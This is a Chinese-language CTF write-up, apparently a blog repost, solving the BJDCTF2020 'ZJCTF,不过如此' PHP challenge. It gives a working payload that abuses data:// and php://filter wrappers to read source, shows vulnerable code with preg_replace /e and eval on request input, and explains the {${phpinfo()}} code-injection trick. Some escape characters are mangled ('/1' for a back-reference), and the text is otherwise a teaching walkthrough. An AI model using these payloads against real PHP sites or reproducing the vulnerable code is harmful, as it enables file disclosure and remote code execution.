[BJDCTF2020]ZJCTF,不过如此


 1 <?php
 2 
 3 error_reporting(0);
 4 $text = $_GET["text"];
 5 $file = $_GET["file"];
 6 if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
 7     echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
 8     if(preg_match("/flag/",$file)){
 9         die("Not now!");
10     }
11 
12     include($file);  //next.php
13     
14 }
15 else{
16     highlight_file(__FILE__);
17 }
18 ?>

首先打开题目看看,屏蔽了flag。

然后首先是要绕过第一个if判断,用data协议或者php伪协议也可以。

方法一:

  [BJDCTF2020]ZJCTF,不过如此

 

  方法二:

      payload:?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

 

得到next.php源代码以后。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("//1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    print("$re    /n $str/n");
    echo complex($re, $str). "/n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

 

这里的/1是反向引用

  反向引用

    反向引用是匹配正则表达式或者其他模式里面,()里面的被缓存存起来,用/加上数字来访问。

    https://blog.csdn.net/Xxy605/article/details/117425141#:~:text=%E5%8F%8D%E5%90%91%E5%BC%95%E7%94%A8%EF%BC%8C%E5%B0%B1%E6%98%AF%E4%BE%9D,12n%E7%9A%84%E5%BD%A2%E5%BC%8F%E5%87%BA%E7%8E%B0

   

  

preg_replace()方法用/e修饰第一个参数就会导致第二个参数变成代码进行执行。
这个题目中允许用户控制的变量是 $re 和 $string
其实实质上是能控制三个。


然后是为什么要用.*,在正则表达式中.*表示能够匹配所有的表达式。而结合前面的反向引用,就可以使得在执行的时候preg_replace()能够把第二个参数里面的内容变成第三个参数。(因为第三个参数的内容被正则表达式.*匹配
到了就进入到了缓存里面这样用/1就可以读取到内容);


加{}的原因。
因为对于php只有双引号能够解析变量,而单引号不行,比如说
$a = 1; echo "$a";打印的是: 1 而不是$a
所以加上{}是用来解析变量的
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串,意味着就不会用任何字符串进行替换。(虽然这个题目用不到,但是这是个知识点)

 

原创文章,作者:,如若转载,请注明出处:https://blog.ytso.com/273098.html

(0)
上一篇 2022年7月9日
下一篇 2022年7月9日

相关推荐

发表回复

登录后才能评论